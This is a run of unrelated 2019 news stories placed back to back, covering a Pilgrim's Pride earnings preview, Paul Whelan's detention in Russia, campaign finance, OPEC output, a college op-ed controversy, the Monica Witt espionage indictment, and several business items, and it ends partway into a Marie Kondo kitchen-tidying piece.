While the aforementioned factors are encouraging, Pilgrim's Pride faces significant hurdles that are likely to hurt the upcoming quarterly performance. We note that the company is witnessing a challenging pricing environment for commodity chicken in the United States. Moreover, management is concerned regarding the reduced demand for commodity chicken, considering the higher availability of other meat-based protein. Additionally, a difficult marketing environment in Mexico, stemming from excess supply conditions, is a worry.



To top these, expanding cost of sales is a significant hurdle. Notably, cost of sales rose 9.2% and 12.5% year on year during the third and the second quarters of 2018, respectively. Such factors have weighed on the companys gross profit and gross margin performance. Rising costs, if unchecked, can continue to hurt profits.



Estimates Reveal Dull Prospects



The Zacks Consensus Estimates for the fourth-quarter earnings is currently pegged at 18 cents. This reflects a decline of almost 69% from the year-ago quarters reported figure of 58 cents. The estimate has been stable in the past 30 days.



Further, the Zacks Consensus Estimates for net revenues is pegged at $2,719 million, depicting a fall of roughly 0.8% from $2,742 million in the prior-year quarter.



What Does the Zacks Model Predict?



Our proven model doesnt show that Pilgrim's Pride can beat bottom-line estimates this quarter. For this to happen, a stock needs to have a positive Earnings ESP and a Zacks Rank #1 (Strong Buy), 2 (Buy) or 3 (Hold). You can uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter.



Although Pilgrim's Pride carries a Zacks Rank #3, its Earnings ESP of 0.00% makes us less confident about an earnings surprise. You may uncover the best stocks to buy or sell before theyre reported with our Earnings ESP Filter. You can see the complete list of todays Zacks #1 Rank stocks here.

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Here are some companies you may want to consider as our model shows that they have the right combination of elements to beat earnings.



Turning Point Brands, Inc TPB has Earnings ESP of +11.11% and a Zacks Rank #2.



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Ollie's Bargain Outlet Holdings, Inc. OLLI has an Earnings ESP of +0.21% and a Zacks Rank #2.



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Zacks Investment ResearchWASHINGTON  Paul Whelan hasnt received a presidential tweet, sparked a punishing tariff or provoked a diplomatic stand-off.

Now, more than six weeks after the 49-year-old Michigan mans arrest in Russia, Whelans family fears the State Department is neglecting his case and leaving him to languish in a 19th Century Moscow prison that once was used for mass torture.

Theres no evidence the State Department is actively engaged in in trying to figure out how to bring him home, Whelans twin brother, David Whelan, told USA TODAY.

State Department officials in Washington have told the family that the circumstances and details of his brothers arrest are still not clear, Whelan said. That has limited the State Departments ability to bring all its resources to bear on securing his release, he said.

"It has been six weeks since Secretary of State Pompeo said the U.S. 'would learn more about the charges'," Whelan said. He said the family has received excellent assistance from U.S. embassy officials in Russia, but "I'm not aware that the State Department has taken any action to find out information about Paul's arrest nor whether, if they have, they've received anything."

Whelans sister, Elizabeth Whelan, has set up a temporary one-woman lobbying operation in Washington  traveling to and from her home in Massachusetts nearly every week so she can press members of Congress on her brothers detention. The family said lawmakers have been helpful, but its unclear how much they can do to secure his release.

Whelan was arrested in a Moscow hotel room on Dec. 28 and charged with spying. Russian-controlled media outlets have reported that Whelan met with a Russian citizen who gave him a USB drive with classified Russian intelligence information.

American experts say Whelan does not fit the profile of a spy, and the account of his arrest sounds like he was set up by Russian authorities. Whelans family says that he was in Moscow for a friend's wedding and is innocent.

Story continues

David Whelan said the Russian attorney representing him in the case was appointed by Kremlin intelligence officials.

President Donald Trump has taken a keen interest in other U.S. detainee cases, tweeting about their plights and threatening foreign leaders over their detentions. Trump slapped tariffs on Turkey over its imprisonment of Andrew Brunson, a Christian missionary released last fall.

State Department spokesman Robert Palladino noted last week that U.S. embassy officials in Russia have visited Paul Whelan twice in Moscow's Lefortovo prison and attended his first court hearing on Jan. 22, when he was denied bail and confined to a metal-reinforced cage during the proceedings.

We remain in contact with the Whelan family, Palladino told reporters last week. We take seriously our right to visit detained American citizens regularly and to ensure that they receive humane treatment and access to medical care as one of our highest priorities at the State Department.

Palladino said the U.S. was coordinating with other countries to get consular access to Whelan, who grew up in Michigan but also holds United Kingdom, Irish and Canadian citizenship. Whelan, who was born in Canada to British parents, works as the director of global security for a Michigan-based auto parts supplier, BorgWarner. He is not married and lives in Novi, northwest of Detroit. Whelan's parents also still live in Michigan.

Rob Saale, who led U.S. hostage release efforts in the early part of the Trump administration, said the State Department may not have the resources it needs to deal with cases like Whelans  in which a foreign government has acknowledged detaining an American citizen. (Other detainee cases, such as terrorist kidnappings or unacknowledged foreign detentions, spark a higher level of response from the U.S. government.)

There are thousands upon thousands of Americans that are taken into custody by foreign law enforcement (or) foreign governments throughout the course of the year, Saale said. At what point do you separate a case like Paul Whelans from someone who went to Tijuana and got drunk and is now in a Mexican jail, he asked.

In both cases, families have the same demands and expectations for assistance from the State Department, Saale said, but it is sort of comparing apples and oranges. He said State Department officials may be doing the best they can given the limited authority and resources they have to handle such cases.

Palladino and other State Department officials are constrained in what they can say publicly about Whelans situation  and thats part of the familys frustration. Because of stalling by Russian authorities, Paul Whelan only signed a privacy waiver last week that will allow American officials to speak to the media about his situation and the charges against him.

And then, the Russians would not let Whelan return the document to U.S. embassy officials during a Feb. 5 visit  instead forcing him to mail the form back to the embassy.

Now that Paul's been able to sign  although he has to mail the form, because the Russians wouldn't allow him to hand it to the embassy staff  we are hopeful this will allow more information flow on Paul's case, Whelan said in an email to USA TODAY.

But in the meantime, the Russian government has put a stranglehold on information about Pauls case and blocked him from choosing his own attorney as he battles espionage charges in a Moscow court, Whelan said. The bigger picture is that any American who is detained anywhere could find themselves in a similar position.

This article originally appeared on USA TODAY: Paul Whelans family fears Trump administration letting him 'languish' in Russian prisonIs it super legal for a bad guy to fund a congressional campaign entirely with contributions from corporate political action committees (PACs), to use that dark money to pay hush money and pay people off to get elected, and then to reward the special interests who backed him? It is, according to Representative Alexandria Ocasio-Cortez, who spoke in those terms last week at a House committee hearing on the Democrats 570-page election reform bill, H.R. 1. When celebrities and pundits shared a clip of her remarks on social media, it racked up over 36 million views.

Yet each part of Ocasio-Cortezs scenario misstates either the law or the facts of campaign finance. Lets unpack it, point by point.

In theory, it is true that a candidate could fund a campaign entirely with corporate PAC money. But PACs have existed for 75 years. To my knowledge, no campaign has ever been funded entirely with PAC money. According to the liberal political-money aggregation site Open Secrets, since 2000 an average of just 21 candidates per election have received even half their funds from corporate PACs.

But what if a candidate were funded solely by them?

Such funding is, by definition, not dark money. By law, candidates and PACs alike must publicly disclose all donors whose aggregate contributions exceed $200. Dark money is merely a pejorative label for nonprofits  such as the NAACP, the Chamber of Commerce, and Planned Parenthood  that may not legally make campaign contributions, whose donors are private, and whose political speech is therefore both limited and independent from candidate campaigns.

As authority for her next point, that a candidate could use campaign funds for hush money and to pay people off, Ocasio-Cortez cited a column I published last year in the Washington Post. Unfortunately, she got the column backwards  I argued that campaign funds may not be used for such purposes. As I wrote then, hush-money payments to mistresses are not really campaign expenditures. . . . These may not be paid with campaign funds, even though the candidate might benefit from the expenditure.

Story continues

That takes us to the last point  Ocasio-Cortezs claim that her hypothetical bad guy could use his power in Congress to reward special interests. In particular, she singled out fossil fuels, health care, and pharma.

Its no revelation that bad guys who win elections can use their power to do bad things. But where does Ocasio-Cortezs approach leave the good guys? To prevent members of Congress from rewarding special interests, we would have to prohibit them from writing or voting on any legislation that affects their donors. Candidates supported by unions would be prevented from voting on labor laws. Candidates supported by environmental groups would be prevented from voting for Ocasio-Cortezs Green New Deal. What kind of democracy is that?

When it comes to business, corporations can contribute to candidates only from PAC funds. Further, when a corporation sells you a gallon of gas or a prescription drug, it cannot deposit the receipts in its PAC. Rather, corporate PACs must raise their funds from voluntary contributions by individual employees and shareholders of the firm. And a PAC may contribute no more than $5,000 per election to a candidates campaign.

That means that a candidate hoping to match Ocasio-Cortezs 2018 campaign haul of $2,084,838 would need the support of at least 417 PACs, if each gave $5,000. Lets start with one PAC from each of the three industries that Ocasio-Cortez cited as special interests.

For fossil fuels, well go with the Lefts favorite whipping boy, Koch Industries PAC. For the pharmaceutical industry, lets take Pfizer Inc. PAC, and for health care, UnitedHealth Group PAC. Using data from the Federal Election Commission, we can determine that those three PACs alone represent at least 16,631 individual donors.

To match Ocasios-Cortezs fundraising haul, our fictitious candidate would still need another 414 PACs to help him out. Perhaps we should add a defense contractor  say, Honeywell International PAC. The auto industry? General Motors PAC. Telecom? Lets add AT&T. We now have a total of at least 61,936 individual donors, just from these six PACs.

Ocasio-Cortez has boasted that the average contribution to her campaign was $22. That means she would have had 94,765 individual donors. With 411 more PACs to go, it is obvious that the PAC-funded bad guy would be backed by the voluntary contributions of far, far more individuals than financially supported her campaign.

So why does Ocasio-Cortez tar as special interests those Americans who voluntarily contribute to employer-sponsored PACs? She expressed concern that these contributors might favor deregulation. Meanwhile, she has proposed a 70 percent top tax rate and proposed a Green New Deal that would essentially abolish the aviation, auto, energy, and mining industries, among others. Why is it illegitimate for shareholders and employees in those industries to voice their opinions on regulatory schemes that would leave them bankrupt and unemployed?

The answer seems to be that Ocasio-Cortez believes that political participation by those with opposing views is illegitimate  that her political opponents are, by definition, bad guys. H.R. 1 suggests that her views are widely shared in the Democratic party. That attitude, far more than employer-sponsored PACs, is a real threat to democracy.

More from National ReviewBy Alex Lawler

LONDON (Reuters) - OPEC said on Tuesday it had cut oil production steeply under a global supply deal, although it flagged headwinds confronting its efforts to prevent a glut this year including weaker demand and higher rival output.

In a monthly report, OPEC said its oil output fell almost 800,000 barrels per day in January to 30.81 million bpd. That is still slightly more than the demand OPEC expects for its crude on average in 2019.

Worried by a drop in oil prices and rising supplies, the Organization of the Petroleum Exporting Countries and its allies including Russia agreed in December to make supply cuts. Under the deal, OPEC is lowering output by 800,000 bpd from Jan. 1.

In the report, OPEC cut its forecast for 2019 world economic growth by 0.2 percentage point to 3.3 percent and highlighted a range of headwinds such as a slowdown in global trade.

"Some recent positive developments could support the global economy at its current level, including the recovery in oil prices, possible progress in U.S.-China trade negotiations and less-ambitious monetary tightening by the U.S. Federal Reserve," OPEC said in the report.

"Nevertheless, this would not lift the global economy beyond the growth forecast."

Oil extended a rally on Tuesday above $63 a barrel. Crude has risen from less than $50 in December, supported by the Saudi Arabia-led OPEC cuts and involuntary declines despite concerns about slowing demand.

The supply cut was a policy U-turn after the producer alliance known as OPEC+ agreed in June 2018 to boost supply amid pressure from U.S. President Donald Trump to lower prices and cover an expected shortfall in Iranian exports.

OPEC changed course after prices slid from $86 a barrel in October, making the producers wary of a new glut. An OPEC+ cut from January 2017 had got rid of an earlier surplus.

In a sign of excess supply, OPEC's report said oil inventories in developed economies were above the five-year average in December.

Story continues

SAUDI CURBS

The biggest drop in OPEC supply last month came from Saudi Arabia and amounted to 350,000 bpd, the report showed.

With the supply cut delivered in January, the 11 OPEC members expected to cut supply under the deal achieved 86 percent compliance, according to a Reuters calculation - a high rate by OPEC's past standards.

This could rise in coming months as Saudi Arabia voluntarily lowers supply by more than it agreed.

Saudi Arabia plans to pump around 9.8 million bpd in March, more than 500,000 bpd below its target under the deal, its energy minister told the Financial Times.

And further declines in Iran, Libya and Venezuela - exempt from the supply pact - could give a tailwind.

OPEC said in the report that 2019 demand for its crude would decline to 30.59 million bpd, a drop of 240,000 bpd from its last report, as rivals such as the United States boost output and the slowing economy limits demand.

This implies that the global market would see a slight surplus of about 200,000 bpd in 2019 should OPEC keep pumping at January's rate although - other things being equal - the Saudi plan to reduce supply further will offset this.

OPEC forecast global oil demand would grow by 1.24 million bpd in 2019, down 50,000 bpd from last month. Non-OPEC producers will boost output by 2.18 million bpd, 80,000 more than expected previously.

(Reporting by Alex Lawler; Editing by Edmund Blair and David Evans)By Laila Kearney

NEW YORK (Reuters) - Oil prices rose more than 1 percent on Tuesday after OPEC figures showed it cut production sharply in January, and as lead member Saudi Arabia said it would reduce its output in March by an additional 500,000 barrels.

Growing investor optimism for a breakthrough in the latest round of U.S.-China trade discussions also boosted futures as members of both sides met in Beijing.

Brent crude futures gained 91 cents, or 1.5 percent, to settle at $62.42 a barrel. U.S. West Texas Intermediate (WTI) crude oil futures rose 69 cents, or 1.3 percent, to settle at $53.10 a barrel.

Oil prices edged up slightly post-settlement after data from the American Petroleum Institute (API), an industry group, showed U.S. crude oil stockpiles had unexpectedly fallen.

Crude inventories fell by 998,000 barrels in the week ended Feb. 8 to 447.2 million, compared with analysts' expectations for an increase of 2.7 million barrels. Crude stocks at the Cushing, Oklahoma, delivery hub fell by 502,000 barrels, API said.

Production cuts effective to the end of June by the Organization of the Petroleum Exporting Countries and allies led by Russia have tightened markets despite rising output in non-member countries, primarily the United States.

OPEC said on Tuesday it had reduced oil production almost 800,000 bpd in January to 30.81 million bpd under its voluntary global supply pact.

Saudi Arabia Energy Minister Khalid al-Falih told the Financial Times that the country would cut production to about 9.8 million bpd in March to bolster prices. As part of the OPEC deal, that nation pledged to cut output to about 10.3 million bpd.

"The market was bid on the OPEC report, the OPEC numbers themselves, and Saudi Arabia bringing the production numbers down pretty good," said Bob Yawger, director of energy futures at Mizuho.

Investors were also hopeful that a new round of U.S.-China talks this week would bring the two sides close to resolving their ongoing trade war ahead of a March 1 deadline, Yawger said.

Story continues

U.S. President Donald Trump said he could push off the deadline to hike tariffs on Chinese imports if the two sides get close enough to striking a deal.

The Energy Information Administration said on Tuesday it expected U.S. crude production to hit a new record of 13.2 million bpd through 2020, which took some steam out of the rally, traders said.

OPEC also cut its forecast for 2019 world oil demand, citing slowing economies and expectations of faster supply growth from rivals, underlining the challenge it faces in preventing an oil glut.

(Reporting by Laila Kearney; Additional reporting by Noah Browning and Henning Gloystein; Editing by Marguerita Choy, Lisa Shumaker and Tom Brown)A college newspaper article titled Should White Boys Still Be Allowed to Talk? has caused offense. (Photo: Dickinson College via Facebook)

A college student who asked Should White Boys Still Be Allowed to Talk? in an opinion article for her college newspaper and was characterized online by some as racist wants to set the record straight, telling Yahoo Lifestyle, I do not hate white people.

Leda Fisher, a senior at Dickinson College in Carlisle, Pa., published the piece Thursday in the student-run newspaper the Dickinsonian criticizing white male students for taking up space in underserved areas to validate narrow-minded opinions.

When you ask a question at a lecture, is it secretly just your opinion ending with the phrase do you agree? If so, your name is something like Jake, or Chad, or Alex, and you were taught that your voice is the most important in every room, Fisher wrote in her opinion piece. Somewhere along your academic journey, you decided your search for intellectual validation was more important than the actual exchange of information. Now how do you expect to actually learn anything?

American society tells men, but especially white men, that their opinions have merit and that their voice is valuable, but after four years of listening to white boys in college, I am not so convinced, the American studies major wrote. In my time at Dickinson I have listened to probably hundreds of white boys talk. It feels incessant. From classes and lectures, to the news and politics, there is an endless line of white boys waiting to share their opinions on the state of feminism in America, whether the LGBTQ+ population finally has enough rights, the merits of capitalism, etc. The list of what white boys think they are qualified to talk about is endless. Something very few of them seem to understand is that their (ill-informed, uncritical) opinions do not constitute truth. In fact, most often their opinions arent even original. White boys spout the narrative of dominant ideologies and pretend theyre hot takes instead of the same misleading garbage shoved down our throats by American institutions from birth.

Story continues

Fisher said she gets annoyed sitting in class listening to a white boy explain his take on the Black experience in the Obama-era. Hey Brian, Im an actual Black woman alive right now with a brain. In what world would your understanding of my life carry more weight than my understanding?

She claimed marginalized people serve only to amuse white men, who speak with the weight of every other white man who has spoken over a woman, erased the contributions of queer people from history, or denigrated broken English as unintelligent.

Posing the lead question again, Fisher answered, In honor of Black History Month, Im gonna go with a hell no. Go find someone whose perspective has been buried or ignored and listen to them, raise up their voice. To all the Chrises, Ryans, Olivers, and Seans out there, I encourage you to critically examine where your viewpoints come from, read a text that challenges you without looking for reasons to dismiss it, and maybe try listening from now on.

More than 350 commenters came down on Fisher in the piece, which was posted online. The piece is poorly thought out, full of presumptions cast as fact (clearly the writer hasnt taken any logic classes), and raging with stereotypes, a commenter wrote. You say of white boys most often their opinions arent even original. None of your opinions here are original either. Ignorant people have held them forever. A person named Ginger Jacoby shared a petition called Expel Leda Fisher from Dickinson College, which was signed by nearly 150 people by Tuesday afternoon.

Fisher told Yahoo Lifestyle that her article raised issues that affect students of color. As to the hate sent my way, it is no match for the support I have received, she said. [Regarding claims I am racist], I will share the widely accepted definition used across academic departments and activist space. Racism is composed of racial prejudice interpersonally and institutional bias against racial minorities. I do not hate white people, and no institution has ever built a system around disenfranchising or marginalizing white men, so I am not a racist.

Yahoo Lifestyle couldnt reach the editorial staff at the Dickinsonian for comment. Co-editors Rachael Franchini and Jules Struck told the conservative and political news website the Western Journal, The editorial page is a place for students to express their personal views on issues of concern to them. Our editorial policy is to ensure that pieces are not based in factually incorrect information, do not aim to incite violence, and are relevant to the Dickinson community. This piece reflects the authors personal experience. The Dickinsonian neither agrees nor disagrees with it, or with any of our editorial columnists.

The colleges president Margee M. Ensign didnt reply to Yahoo Lifestyles request for comment. She reportedly wrote in an email to students, published by the conservative news site the Daily Wire, I have heard from many of you about an opinion piece in The Dickinsonian. First, let me remind you that The Dickinsonian is a student-run newspaper that has editorial control over its content. It expresses the opinions of its writers  it does not speak for the college.

Let me be clear, wrote Ensign in the email. Dickinson believes in free speech. We also condemn stereotyping and prejudice. Dickinson values inclusivity. We expect our community members to engage in thoughtful dialogue and believe that no group or individual should be silenced. It is a fundamental policy of the college to respect pluralism and to promote civility and mutual understanding.

Read more from Yahoo Lifestyle:

Follow us on Instagram, Facebook and Twitter for nonstop inspiration delivered fresh to your feed, every day.The Supreme Court has dismissed the petition filed by suspended lawyer and perennial presidential candidate Elly Pamatong against President Rodrigo Duterte. In a resolution dated Jan. 22, the high court denied Pamatongs petition seeking to nullify Dutertes presidential victory in 2016 on two grounds: the oneyear prescription period for the filing of such action had lapsed and Pamatong did not have the legal standing to file the petition. Pamatong filed his petition on June 6, 2018, or only a few days short of the two years since Dutertes inauguration. Therefore, Petitioners cause of action, if any, had already lapsed and may no longer be revived, the high court said. But the tribunal waived the prescription period when it ruled to grant the quo warranto petition of Solicitor General Jose Calida that led to the ousting of Chief Justice Maria Lourdes Sereno last year, with the Court saying the prescription does not lie against the State, or the OSG in that case. However, this principle does not apply in cases where private individuals, in their own capacity, bring actions for quo warranto before the court to assert their right to the office allegedly usurped, the high court said in dismissing Pamatongs plea. With this, the high court also narrowed the opportunity to file a quo warranto petition against Duterte since it said private individuals could file if they had an uncontroverted claim, but that one-year prescription would apply for them.In ruling that Pamatong had no legal standing, the high court said that under the Rules of Court, the general rule was that only the government may bring such a suit with the exception that an individual may be allowed to file an action for quo warranto when such an individual had an uncontroverted claim to the position from which ouster was being sought. The high court said Pamatongs certificate of candidacy for the 2016 presidential elections had been disapproved by the Commission on Elections as he was found to be a nuisance candidate. His disqualification was affirmed by the high court with finality on Jan. 12, 2016. There is therefore no factual basis for petitioners assertion of a personal claim to the position of President. He was not even included in the lineup of candidates for the 2016 elections, the high court said. In his plea, Pamatong argued that Dutertes substitution for Martin Dino as PDP-Laban standard bearer in 2016 was defective, as Dino ticked the position of mayor for Pasay City instead of president in his COC. Citing Comelec records, Pamatong also said that prior to the 2016 polls, Duterte withdrew his COC for mayor in Davao City and, thereafter, filed another COC for another position, or for the position of the presidency though he explained that this process was not allowed by law.GENEVA (Reuters) - Iran can only lose by negotiating with the United States and must be careful to limit any dealings with some "untrustworthy" European states, the Islamic Republic's top leader said on Wednesday. Tensions ramped up between the United States and Iran after President Donald Trump withdrew from a multilateral nuclear deal last year and reimposed sanctions. The U.S. sanctions are putting unprecedented pressure on Iran, Supreme Leader Ayatollah Ali Khamenei said last month. Tehran has now turned to the remaining signatories, particularly the European powers - France, Germany and Britain - to salvage the deal. "With regard to America, no problem can be resolved and negotiations with it have nothing but economic and spiritual loss," Khamenei wrote on his official website. "Today, the Iranian people see some European countries as cunning and untrustworthy along with the criminal America. The government of the Islamic Republic must carefully preserve its boundaries with them." "Iran must not retreat a single step from national and revolutionary values." Khamenei pointed to sanctions as a big external challenge for the country and added, in an apparent jab at pragmatist President Hassan Rouhani, "weakness in managment" was one of the biggest internal challenges. France, Germany and Britain opened a new channel for non-dollar trade with Iran last month to avert U.S. sanctions but top Iranian officials have said that Europe has not done enough to keep the deal intact. (Reporting by Babak Dehghanpisheh; additional reporting by Bozorgmehr Sharefedin in London, Editing by Alison Williams, William Maclean)ALGIERS (Reuters) - Japan's second-largest automaker Nissan Motor Co has signed a joint venture agreement with an Algerian private partner to build a car assembly plant at a cost of $160 million, the company said on Wednesday.

The plant, near the western city of Oran, is due to start production in the first half of 2020 with a capacity of 63,500 vehicles per year, Peyman Kargar, Nissan's senior vice president and chairman of operations in Africa, Middle East and India, said at a signing ceremony in Algiers.

Nissan's partner, Hasnaoui Group, will hold a majority stake in the project, which is expected to create 1,800 jobs.

Algeria has banned car imports as part of an attempt to cut spending due to lower oil and gas earnings, the main source of state finances.

"We want to help diversify our economy," said Hasnaoui Group's owner Sofiane Hasnaoui.

The North African country, an OPEC member, has been trying to attract foreign investment and develop the non-energy sector, which accounts for just 6 percent of total export revenues.

"Algeria is a big country for us. Thanks to government's support, we managed to conclude this deal," said Kargar.

"Our top priority is to meet local demand but we will think about exporting our product later," he added.

The deal also includes training of the plant's employees by Nissan staff, Hasnaoui said.

(Reporting by Hamid Ould Ahmed; Editing by Kirsten Donovan)Brussels (AFP) - NATO Secretary General Jens Stoltenberg announced Wednesday that he will hold talks with Russian Foreign Minister Sergei Lavrov this week, as part of efforts to save a key arms control treaty that is on the point of collapse.

The pair will meet at the Munich Security Conference, which starts on Friday, as NATO tries to persuade Moscow to abandon a new missile system the alliance says breaches the Intermediate-Range Nuclear Forces (INF) Treaty.

The US began the process of exiting the treaty earlier this month in response to Moscow's deployment of the 9M729 missile, prompting Russia to announce its own withdrawal.

"I expect to meet minister Lavrov in Munich, and I think it is important to have dialogue with Russia especially when we face so many difficult issues as we face today," Stoltenberg said as he arrived for a meeting of NATO defence ministers.

The two-day meeting in Brussels is the first chance for NATO ministers to debate what steps the alliance will take to bolster its defence against new Russian medium-range missiles.

The US withdrawal will only take effect in August, giving a six-month window to save the treaty, but few expect this to happen and Stoltenberg said NATO had to prepare for a "future without the INF treaty and with more missiles".

The collapse of the 1987 treaty, which banned ground-launched missiles with a range of 500 to 5,500 kilometres, has sparked fears of a new arms race in Europe.

But Stoltenberg said NATO had no intention of deploying "new nuclear land-based weapons systems in Europe".

"Then of course we have a wide range of other options, conventional and other options, but I will not speculate on them now," Stoltenberg said.

German Defence Minister Ursula von der Leyen said a "broad mix of measures" was being considered, and unexpectedly -- given Berlin's softly-softly approach on the INF issue -- she refused to rule out the deployment of nuclear missiles.

Story continues

"It's important that we don't start hierarchising or excluding individual points now, but really leave the whole palette on the table," she told reporters.

"I mean that it's not just about purely military issues, but also about economic issues, about political issues."

- Gorbachev criticism -

Stoltenberg said the new Russian missiles were just the latest example of Moscow's increasingly assertive posture.

"They are part of a broader picture where we have seen Russia investing heavily in modern military capabilities over a long time, including new nuclear capabilities," he said.

"They have announced a lot of new nuclear weapons systems and they have used force against a neighbour in Ukraine."

Moscow denies the missile breaches the terms of the INF treaty and has made various counter-allegations against the US.

Mikhail Gorbachev, the former Soviet leader who signed the INF treaty with then US president Ronald Reagan, launched a stinging attack on Washington over its exit from the pact on Wednesday.

He accused the US of abandoning the agreement "to free itself of any constraints in the arms sphere (and) gain absolute military superiority", in a column published by the Russian newspaper Vedomosti.MoNique and Steve Harvey had an emotional and at times heated exchange on his talk show on Wednesday.

The Steve host invited his old friend and fellow comedian to the show discuss how her career declined after, she claims, she was blackballed by the director of Precious , Lee Daniels, and by others  and how all this had hurt their friendship. MoNique, who won an Oscar for Precious, prefaced the exchange as a conversation between a brother and sister that needs to be fearless.

MoNique was on Steve Harveys show on Wednesday, and they hashed out their differences. (Screenshot: Steve Harvey Show)

After mentioning her Las Vegas residency, she talked about being blackballed in Hollywood and being labeled difficult, explaining that she felt it was because she wasnt afraid to tell Daniels, Oprah Winfrey and Tyler Perry no. She also talked about her boycott of Netflix. She said her beef with Harvey was that while behind the scenes, he supported her for pushing back, he went on the air and said the opposite.

Each one of you said to me, MoNique, youre not wrong, the actress said, referring also to Daniels, Winfrey and Perry. And when I heard you go on the air and say, My sister burned too many bridges, and its nothing I can do for her now, Steve, do you know how hurt I was?

Harvey said that his issue with MoNique is that she went about it the wrong way. While he said he was cool with her calling out Netflix on the disparity in her pay (she said she was paid less than her male counterparts), he felt that a boycott wasnt the way to go.

I felt you had done yourself a disservice by the way you chose to go about it all, Harvey replied, citing the time MoNique went on stage and told Winfrey, Perry and Lee to suck the d*** she didnt have.

Steve Harvey and MoNique at an event in 2009. (Photo: Getty Images)

MoNique made it clear that she had no regrets about her comments, and went on to say that what she would have appreciated from my brother was had you picked up the phone before you went on the air and said, Monique, youve burned too many bridges I would have appreciated it, had my brother called me up and said, Baby, lets talk.'

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At one point, Harvey said he was sorry they were arguing, and MoNique shot back, Were not arguing. You and your sister, were having a conversation  and Im getting ready to punch you in your mouth. Bam, bam. That was as fiery as it got. She went on, I have to understand how to agree to disagree without being upset. Thats the thing: I disagree with my brother. Im not upset with you. I love you. I disagree with the way Oprah, Lee and Tyler did it, but I love them.

Harvey said the way to resolve the problem would be with apologies all around. Guess what we need to do to move forward and fix this? These people owe you an apology. You owe those people an apology. Then we could move forward.

He added, Mo, listen to me. You are valuable to us all. You are valuable to Tyler Perry  to Oprah, to Lee Daniels. We cant do this without talent. See, me and you, were talent. They cant do this without us. You take us out of Hollywood, theyll have to close some doors around here. It is not the same without us. You are too valuable. I dont want to lose your gift to the world because were trying to prove the point, when we can prove the point by doing in it a more loving way.

MoNique said that she always speaks from the heart, but Harvey said that if it really is from her heart, it should sound as if it is  and thats not always the case. If it dont sound like it when you say it, thats because it aint, he advised.

Harvey also said he planned to facilitate conversations between MoNique and these people, presumably Daniels, Winfrey and Perry. And he ended by apologizing, saying he should have picked up the phone. I just want to help you, Mo, he ended the show by saying. I didnt come here to bash you.  Lets heal this thing and move forward.

Read more from Yahoo Entertainment:A US Air Force officer has defected to Iran and shared information that could cause "serious damage" to America's national security, officials have revealed.

The former Air Force intelligence specialist was charged with espionage and was accused of working for Iran, according to an unsealed federal indictment.

The announcement arrived after Assistant Attorney General for National Security John Demers and other senior officials held a call with reporters to discuss what they called a national security related action involving Iran.

Mr Demers was joined by US Attorney for Washington, Jessie Liu, FBI Executive Assistant Director for National Security Jay Tabb, Treasury Department director of Foreign Assets Control Adrea Gacki and Air Force Office of Special Investigations Special Agent Terry Phillips.

The officials discussed the unsealed indictment against Monica Witt, a former counterintelligence officer for the Air Force Office of Special Investigations. Ms Witt defected to Iran nearly six years ago in 2013.

Also charged are four Iranian hackers. Prosecutors say they targeted former colleagues of Ms Witts in the intelligence community.

The indictment says the four Iranians were acting on behalf of the government-linked Iranian Revolutionary Guard Corps.

It is a sad day for America when one of its citizens betrays our country, Mr Demers, the head of the Justice Departments national security division, said on the call.

Ms Witt remains at-large. The 39-year-old has been indicted by a federal grand jury in the District of Columbia for conspiracy to deliver and delivering national defence information to representatives of the Iranian government, according to the indictment that was unsealed on Wednesday morning.

Witt, who defected to Iran in 2013, is alleged to have assisted Iranian intelligence services in targeting her former fellow agents in the US Intelligence Community (USIC). Witt is also alleged to have disclosed the code name and classified mission of a US Department of Defence Special Access Program, the indictment continues.

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A warrant has been placed for her arrest.

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The four hackers, whose names are Mojtaba Masoumpour, Behzad Mesri, Hossein Parvar and Mohamad Paryar, have also been charged with conspiracy, attempts to commit computer intrusion and aggravated identity theft. Their alleged crimes date back to 2014 through 2015, in which they are charged with using fictional and imposter social media accounts and working on behalf of the Iranian Revolutionary Guard Corps (IRGC), sought to deploy malware that would provide them covert access to the targets computers and networks.

The hackers, referred to in the indictment as Cyber Conspirators, also remain at-large and have warrants placed for each other their arrests.

US Treasury Secretary Steven Mnuchin said the agency was taking action against malicious Iranian cyber actors and covert operations that have targeted Americans at home and overseas as part of our ongoing efforts to counter the Iranian regimes cyber-attacks.

Treasury is sanctioning New Horizon Organization for its support to the IRGC-QF, he continued in a statement. New Horizon hosts international conferences that have provided Iranian intelligence officers a platform to recruit and collect damaging information from attendees, while propagating anti-Semitism and Holocaust denial. We are also sanctioning an Iran-based company that has attempted to install malware to compromise the computers of US personnel.

Additional reporting by APXRP, Ripple, SendFriend

Global remittance startup SendFriend has raised $1.7 million in pre-seed funding by 13 participants.

The US company announced Monday that it had received support from MIT Media Lab, Barclays, the Mastercard Foundation, Ripple, TechStars, Mahindra Finance, 2020 Ventures, and 8 Decimal Capital. Other companies that joined the round at an earlier stage include Deloitte and New York Angels.

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Partnership with Ripple Labs

Launched in May 2017 by a group of techies with experience at the World Bank and Moneygram, SendFriend proposes to open its first remittance corridor between the Philippines and the United States. The startup is an alumnus of the Barclays Accelerator Program. And, it entered into a partnership with Ripple Labs to use their xRapid remittance solution.

Read the full story on CCN.com.(Reuters) - Mastercard Inc said on Wednesday its Chief Financial Officer Martina Hund-Mejean would retire in 2019, after more than a decade in the role, and will be succeeded by Sachin Mehra, the company's current chief financial operations officer.

Mehra will take over Hund-Mejean's position as CFO on April 1, and will report to Ajay Banga, the company's chief executive officer.

Mehra, who hails from India, joined the Purchase, New York-based payments processor in 2010 as group executive and treasurer, after stints with Hess Corp and General Motors.

Hund-Mejean joined Mastercard in November 2007, at the beginning of the 2007-2009 financial crisis, and led the company through the two turbulent years. Earlier, she served as the senior vice president and treasurer at security systems provider Tyco International Ltd.

(Reporting By Aparajita Saxena in Bengaluru; Editing by James Emmanuel)Tidying up is so in right now, thanks to organizational goddess Marie Kondo, whose new Netflix show features people whose lives are apparently transformed after learning the KonMari method, or Kondo's technique for decluttering. And while I'll leave the whole-house cleaning advice to her, I'd like to offer some suggestions for "Marie Kondo-ing" your pantry and fridge. Doing so may benefit your physical health by making it easier to eat well.

Here's how to "Marie Kondo" your kitchen for better health:

-- Toss old food items.

-- Ask: Does this make me healthier or happier?

-- Make junk food scarce.

-- Read labels and replace if needed.

-- Remember less is more.

Read on to get started.

1. Toss out the old.

